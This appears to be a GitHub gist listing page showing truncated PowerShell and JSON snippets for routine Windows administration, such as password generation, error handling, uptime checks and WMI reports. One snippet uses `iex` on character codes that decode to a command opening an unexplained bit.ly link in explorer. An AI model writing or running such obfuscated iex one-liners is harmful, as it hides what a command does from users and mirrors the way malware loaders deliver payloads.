This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"editor.tokenColorCustomizations": { | |
// Note: you can leave out the theme and the syntax rules will apply to all themes | |
"[Material Theme Darker High Contrast]": { | |
"textMateRules": [ | |
{ | |
"scope": "variable.other.readwrite", | |
"settings": { | |
"foreground": "#89DDFF" | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$first = 'One', 'Two', 'Three' | |
$second = 'A', 'B', 'C' | |
$counter1 = 0 | |
foreach ($number in $first) { | |
$progress = @{ | |
Activity = "Pass $($number)" | |
Status = 'Starting' | |
Id = 1 | |
PercentComplete = ($counter1 / $first.Count) * 100 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function New-RandomPassword { | |
$charset = ([char]'a'..[char]'z').foreach({[char]$_}) | |
$RawPassword = '' | |
for ($i = 0; $i -lt 14; $i++) | |
{ | |
# First and last 4 are letters | |
if ($i -lt 4 -or $i -gt 9) | |
{ | |
if ($i % 2 -eq 0) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# throws an error: | |
Get-Content nothing | |
# Should show the same error message: | |
$Error[0] | |
# Shows the target of your command: | |
$Error[0].TargetObject | |
# Shows the message itself (the first line in the error on your screen): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
try | |
{ | |
$computers = Get-Content computers.txt -ErrorAction Stop | |
} | |
catch | |
{ | |
"There was a problem opening the file; message: $($_.Exception.Message)" | Out-File -FilePath 'error.log' -Append | |
} | |
finally | |
{ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
iex "$((101,120,112,108,111,114,101,114,46,101,120,101,32,104,116,116,112,58,47,47,98,105,116,46,108,121,47,52,107,98,55,55,118|%{[char]$_})-join'')" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"CanPauseAndContinue": false, | |
"CanShutdown": true, | |
"CanStop": true, | |
"DisplayName": "Windows Remote Management (WS-Management)", | |
"DependentServices": [ | |
], | |
"MachineName": ".", | |
"ServiceName": "winrm", |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Get-ChildItem 'C:\temp\FileShare' -Recurse | foreach {if ($_.Name -match '[\p{IsLatin-1Supplement}-[\x80-\xbf\xd7\xf7]]+') {$_ | select Name, Directory, CreationTime, LastWriteTime, Length}} | Format-Table -AutoSize |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function Get-PCBUptime { | |
<# | |
.SYNOPSIS | |
A simple tool for checking how long a system on the network has been running since last boot. | |
.DESCRIPTION | |
Get-PCBUptime is a quick WMI-based tool for determinging a remote system's uptime. It is useful for verifying | |
what a user says when asked if they've rebooted their machine recently, or to generate a report of server uptimes. | |
Get-PCBUptime is written by and copyright of Christopher R. Lowery, aka The PowerShell Bear (poshcodebear.com; Twitter: @poshcodebear) | |
It is free for all to use, and free to distribute with attribution to the original author. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(Add-Content -Value 'MACHINENAME,OSVERSION' -Path .\Output.csv -Encoding Ascii -PassThru) | Get-WmiObject Win32_OperatingSystem -ComputerName (Import-Csv -Path .\Input.csv).MACHINENAME -ErrorAction Ignore | foreach {Add-Content -Value "$($_.PSComputerName),$($_.Caption)" -Path .\Output.csv -Encoding Ascii} |
NewerOlder